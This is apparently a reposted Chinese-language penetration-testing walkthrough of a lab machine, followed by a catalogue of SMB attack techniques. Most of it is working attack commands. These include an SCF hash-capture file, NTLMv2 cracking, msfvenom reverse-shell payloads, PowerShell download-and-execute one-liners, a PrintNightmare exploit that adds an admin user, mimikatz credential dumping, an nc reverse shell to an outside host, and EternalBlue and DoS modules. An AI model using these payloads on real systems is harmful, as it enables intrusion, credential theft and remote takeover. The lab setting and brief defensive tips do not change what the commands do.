网络安全之渗透实战学习
前言
本次滲透以SMB共享之SCF文件攻擊為突破點,利用burp編碼爆破Basic Authorization認證、smb連接的多種方法、windows用戶的NTLM值破解方法、evil-winrm的運用、windows主機信息收集工具、msf運行powershell腳本、遠程運行powershell腳本、PrintNightmare漏洞提權等多個知識點。
本次滲透過程從技術層面來說難度并不算很大,本文精華在于滲透過程中運用到了多個知識點,并對多種利用SMB攻擊的方法作了總結,下面開始此次滲透實戰之旅。
信息收集
首先進行基本的端口掃描;
看到445端口,想到了smb的多種利用方法;看到5985,想到了可能要利用evil-winrm;然后在重點照顧下445端口;
nmap -A --script smb-vuln* -p 445 10.10.11.106
并沒有發現直接的突破口,那我們還是從web入手。
smb匿名登錄
嘗試一波smb匿名登錄,看是否存在共享文件,可以作為突破的線索;
常用命令總結如下:
smbmap -H 10.10.11.106
smbclient -N -L //10.10.11.106
enum4linux -a 10.10.11.106
暫時沒有發現。
為了感謝廣大讀者伙伴的支持,準備了以下福利給到大家:
【一>所有資源獲取<一】
1、200多本網絡安全系列電子書(該有的都有了)
2、全套工具包(最全中文版,想用哪個用哪個)
3、100份src源碼技術文檔(項目學習不停,實踐得真知)
4、網絡安全基礎入門、Linux、web安全、攻防方面的視頻(2021最新版)
5、網絡安全學習路線(告別不入流的學習)
6、ctf奪旗賽解析(題目解析實戰操作)
burp編碼爆破
打開網頁,彈出Basic Authorization認證
抓包進行爆破;
劃紅線的地方要設置3次,分別為:1、admin? 2、:? 3、 密碼
用個弱口令字典,跑出結果了;
admin:admin
SMB共享之SCF文件攻擊
登錄后臺,發現一個可上傳文件的地方;
經過多次嘗試,這里可利用SCF文件攻擊進行滲透,下面介紹3種利用方法:
通過 NTLM 捕獲進行 SMB 攻擊
基本原理:SCF(Shell 命令文件)文件可用于執行一組有限的操作,一個 SCF 文件可以用來訪問一個特定的 UNC 路徑,允許滲透測試人員構建攻擊。下面的代碼可以被放置在一個文本文件,然后需要被植入到網絡共享。
[Shell]Command=2 IconFile=\\10.10.16.4\share\hack.ico [Taskbar] Command=ToggleDesktop將hack.txt文件保存為SCF文件,在文件名前面添加@符號可以將hack.scf放在共享驅動器文件列表的頂部。(@hack.scf)并設置接收方法;
Responder需要使用以下參數執行來捕獲瀏覽共享的用戶的哈希值。
responder -wrf -I tun0
當用戶瀏覽共享時,將自動會從系統建立網絡連接,連接到包含在SCF文件內的UNC路徑。Windows將嘗試使用用戶名和密碼對該共享進行身份驗證。在驗證過程中,隨機的8字節質詢密鑰會從服務器發送到客戶端,散列后的NTLM / LANMAN密碼再次使用這個質詢密鑰進行加密。Responder將捕獲NTLMv2哈希。
除了Responder,MSF也有一個模塊,可以用來捕獲來自SMB客戶端的挑戰 – 響應密碼哈希。
auxiliary/server/capture/smb
上傳之前的hack.scf來觸發,就獲取到了用戶的NTLM值。
直接獲取shell
利用MSF框架實現攻擊。
exploit/windows/smb/smb_relay set payload windows/meterpreter/reverse_tcp set LHOST 10.10.16.4 set smbhost 192.168.0.100 set srvport 8080 exploit上傳之前的hack.scf來觸發,但本次滲透中該方法實測失敗了。
上傳payload獲取shell
本方法的主要優點是它不需要與用戶有任何交互,并自動強制用戶連接到共享,在這個過程中不存在NTLMv2哈希的協商過程。因此,也可以將此技術與SMB中繼相結合,SMB中繼將提供有效載荷,可以從訪問該共享的每個用戶檢索Meterpreter Shell。
MSFVenom可用于生成將在目標上執行的有效載荷:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.171 LPORT=5555 -f exe > hack.exe利用Impacket中的smbrelayx 這個python腳本可以設置中繼攻擊并在當目標主機嘗試連接SMB服務器時提供有效載荷。這將自動執行,因為SCF文件將強制每個用戶使用他們自己的憑據連接到一個不存在的共享。
./smbrelayx.py -h Target-IP -e ./hack.exe
同時利用MSF設置木馬的回連端:
exploit/multi/handler
模塊需要配置與生成的有效載荷相同的參數。
set payload windows/meterpreter/reverse_tcp set LHOST 192.168.1.171 set LPORT 5555 exploit當用戶瀏覽共享時,SMB服務器將接收到連接,并且將使用用戶名和密碼散列來與他的系統進行認證,并將有效載荷執行為可寫共享。本次滲透中該方法實測失敗。
獲取到NTLM值后,下一步嘗試破解。
LM NTLM NET-NTLM2破解
Windows的系統密碼hash默認情況下一般由兩部分組成:第一部分是LM Hash,第二部分是NT Hash
LM
Windows Vista / Server 2008已經默認關閉,在老版本可以遇到,但根據windwos的向下兼容性,可以通過組策略啟用它
示例:299BD128C1101FD6
hash破解:
NThash
NTLM是現在Windows系統上存儲密碼的方式,可以通過轉儲SAM數據庫或使用Mimikatz來獲得。
示例:B4B9B02E6F09A9BD760F388B67351E2B
hash破解:
NTLMV1
NTLM協議在服務器和客戶端之間的質詢/響應中使用NTHash,協議的v1同時使用NT和LM哈希,具體取決于配置和可用內容。
示例:
hash破解:
john --format=netntlm hash.txt hashcat -m 5500 -a 3 hash.txtNTLMV2
這是NTLM協議的新版本和改進版本,這使其很難破解。該概念與NTLMv1相同,只是發送到服務器的算法和響應不同,從Windows 2000開始,在Windows中為默認值。
示例:
hash破解:
john --format=netntlmv2 hash.txt hashcat -m 5600 -a 3 hash.txt在本次滲透中用的是NTLMV2;
hashcat -m 5600 -a 3 123.txt --wordlist top100.txt
john --format=netntlmv2 123.txt -w=top100.txt
成功得到用戶名和密碼:tony:liltony
根據開放的445和5985端口,連接一波;
嘗試psexec連接失敗;
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-pB7Ofv13-1635337682265)(https://upload-images.jianshu.io/upload_images/26472780-ac960ef4943dcd51.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]
evil-winrm -i 10.10.11.106 -u tony -p liltony
連接成功,下面就要開始想辦法進行提權。
smb帶用戶名密碼登錄
利用得到的用戶名和密碼,再次嘗試登錄smb共享;
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-WjhLPGxj-1635337682278)(https://upload-images.jianshu.io/upload_images/26472780-d7ed45ca1d8f9f6a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]
提權
主機信息收集
嘗試使用命令,結果沒有權限執行;
那就用腳本來跑,常用的是winPEASx64.exe或者winPEAS.bat,這里有個小坑,程序運行時要加反斜杠;
結果很多,最后發現print spooler service 服務;
利用最近的WINDOWS PRINT SPOOLER遠程代碼執行漏洞(CVE-2021-1675)來提權。
https://github.com/calebstewart/CVE-2021-1675
測試發現直接導入powershell腳本會報錯;
下面分別采用2種方法;
msf加載powershell
生成個木馬
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.4 LPORT=7777 -f exe > hack.exe接收反彈;
利用evil-winrm上傳hack.exe,運行;
程序會報錯且會話中斷,遷移下進程,再次嘗試;
需要事先上傳ps1腳本到主機對應的位置,否則找不到腳本;!
這次就成功執行了腳本,添加了一個新的用戶且有administrator權限。還可以嘗試一波遠程運行ps腳本。
遠程運行powershell腳本
遠程下載文件到本地并執行
cmd.exe /c powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://127.0.0.1:8089','notepad.exe');start-process notepad.exe遠程執行ps1腳本
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"自己搭建個http服務器
遠程運行ps腳本;
IEX(New-Object Net.Webclient).downloadstring('http://10.10.16.4:8000/CVE-2021-1675.ps1') Invoke-Nightmare -NewUser "hack123" -NewPassword "hack123"抓取密碼試試;
./mimikatz.exe privilege::debug "sekurlsa::logonpasswords" exit
至此,成功拿下了該主機,下面彩蛋環節,總結下其他幾種smb常見的攻擊方法。
smb攻擊方式
Windows SMB 的版本
CIFS:SMB 的舊版本,于 1996 年包含在 Microsoft Windows NT 4.0 中。
SMB 1.0 / SMB1:在 Windows 2000、Windows XP、Windows Server 2003 和 Windows Server 2003 R2 中使用的版本。
SMB 2.0 / SMB2:此版本用于 Windows Vista 和 Windows Server 2008。
SMB 2.1 / SMB2.1:此版本用于 Windows 7 和 Windows Server 2008 R2。
SMB 3.0 / SMB3:此版本用于 Windows 8 和 Windows Server 2012。
SMB 3.02 / SMB3:此版本用于 Windows 8.1 和 Windows Server 2012 R2。
SMB 3.1:此版本用于 Windows Server 2016 和 Windows 10。
目前,SMB 的最新版本是 SMB 3.1.1,它是在 Windows 10 和 Windows Server 2016 中引入的。該版本除了支持 SMB3 中添加的 AES 128 CCM 加密外,還支持 AES 128 GCM 加密,并使用SHA-512 哈希。當連接到使用 SMB 2.x 及更高版本的客戶端時,SMB 3.1.1 還強制要求進行安全協商。
永恒之藍
我們運行以下MSF模塊,該模塊將直接利用目標機器。
use exploit/windows/smb/ms17_010_eternalblue msf exploit(ms17_010_eternalblue) > set rhost 192.168.1.101 msf exploit(ms17_010_eternalblue) > exploit暴力破解
hydra -L user.txt -P pass.txt 192.168.1.101 smb -L --> 表示用戶名列表 -P --> 表示密碼如果破解成功,就可以枚舉系統上的用戶;
use auxiliary/scanner/smb/smb_enumusers msf auxiliary(smb_enumusers) > set rhosts 192.168.1.101 msf auxiliary(smb_enumusers) > set smbuser raj msf auxiliary(smb_enumusers) > set smbpass 123 msf auxiliary(smb_enumusers) > exploit實測一下;
PSexec 連接SMB
可以用msf里的模塊;
use exploit/windows/smb/psexec msf exploit windows/smb/psexec) > set rhost 192.168.1.101 msf exploit(windows/smb/psexec) > set smbuser raj msf exploit(windows/smb/psexec) > set smbpass 123 msf exploit(windows/smb/psexec) > exploit因為本次滲透無法成功,補了之前的一張圖;
還可以用Impacket中的psexec.py
#用明文密碼連接
./psexec.py xie/administrator:密碼@192.168.10.131
#用哈希值連接
./psexec.py xie/administrator@192.168.10.131 -hashes AADA8EDA23213C025AE50F5CD5697D9F:6542D35ED5FF6AE5E75B875068C5D3BC還可以直接用psexec.exe程序;
Rundll32 One-liner
通過Metasploit的SMB Delivery啟動Rundll32攻擊
Metasploit還包含了生成惡意dll文件的“SMB Delivery”模塊。該模塊通過SMB服務器提供payload,并提供檢索和執行生成payload的命令。目前支持DLL和Powershell。
use exploit/windows/smb/smb_delivery msf exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.109 msf exploit(windows/smb/smb_delivery) > exploit這將生成惡意 DLL 文件的鏈接,現在將此鏈接發送到你的目標并等待他的操作。
一旦受害者在運行提示符或命令提示符內運行惡意代碼,我們就會在 Metasploit 上獲得一個 Meterpreter 會話。
SMB DOS 攻擊
SMB Dos 攻擊是我們在 Metasploit 框架中擁有的另一種最優秀的方法。
該模塊利用 Windows 7 和 Windows Server 2008 R2 上的 Microsoft Windows SMB 客戶端中的拒絕服務缺陷。要觸發此錯誤,請將此模塊作為服務運行,并強制易受攻擊的客戶端作為 SMB 服務器訪問此系統的 IP。如果目標使用 Internet Explorer 或 Word 文檔,則可以通過將 UNC 路徑 (\HOST\share\something) 嵌入到網頁中來實現。
use auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop msf auxiliary(ms10_006_negotiate_response_loop) > set srvhost 192.168.1.106 msf auxiliary(ms10_006_negotiate_response_loop) > exploit遠程文件傳輸和運行
文件傳輸用法如下:
利用著名的impacket包里的smbserver.py,進行文件傳輸。
目錄根據你自己定smbserver.py share ‘/root/exp’
然后在監聽的shell里copy CEH.kdbx \10.10.14.57\Share,成功收到文件
還可以遠程運行程序;
開啟impacket里的smbsever服務,把ms15-051x64和nc64.exe放到我指定的共享文件,
python smbserver.py Share '/root/htb/bastard'
在shell里執行反彈;
\\10.10.14.57\share\ms15-051x64.exe "\\10.10.14.57\share\nc64.exe -e cmd 10.10.14.57 443"
另外本機監聽443.收到,搞定
總結
對于SCF文件攻擊,我們也可以通過下列方法來防止這種攻擊的發生:
1、使用Kerbeors認證或SMB簽名;
2、禁用共享文件給未認證用戶所提供的寫入權限;
3、確保使用的是NTLMv2密碼并增加口令的復雜程度。
總結
以上是生活随笔為你收集整理的网络安全之渗透实战学习的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Android 代码管理技巧
- 下一篇: 您的WebApp真的需要jQuery吗?